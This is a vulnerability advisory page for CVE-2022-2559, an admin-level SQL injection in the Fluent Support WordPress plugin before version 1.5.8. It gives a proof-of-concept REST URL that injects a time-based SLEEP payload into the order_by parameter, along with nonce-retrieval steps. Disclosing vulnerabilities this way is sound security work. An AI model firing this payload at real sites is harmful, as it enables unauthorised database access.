Fluent Support < 1.5.8 – Admin+ SQLi | CVE 2022-2559 | Plugin Vulnerabilities

Description

The plugin does not properly sanitise, validate and escape various parameters before using them in an SQL statement, leading to an SQL Injection vulnerability exploitable by high privilege users

Proof of Concept

With at least one support ticket in the system:

https://example.com/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76d

Nonce is retrieved via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

Affects Plugins

Fixed in 1.5.8

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Rafshanzani Suhada

Submitter

Rafshanzani Suhada

Verified

Yes

WPVDB ID

062599ce-c630-487e-bb43-c3b27a62b9ec

Timeline

Publicly Published

2022-08-02 (about 3 years ago)

Added

2022-08-02 (about 3 years ago)

Last Updated

2023-05-04 (about 2 years ago)

Other

Published

Title

Published

2024-03-28

Title

ProfileGrid < 5.7.9 - Authenticated (Subscriber+) SQL Injection

Published

2025-03-24

Title

WP Featured Entries <= 1.0 - Authenticated (Contributor+) SQL Injection

Published

2014-08-01

Title

VideoWhisper Video Presentation <= 1.1 - SQL Injection

Published

2023-01-31

Title

WP Statistics < 13.2.11 - Subscriber+ SQLi

Published

2022-12-09

Title

WP RSS By Publishers <= 0.1 - Admin+ SQLi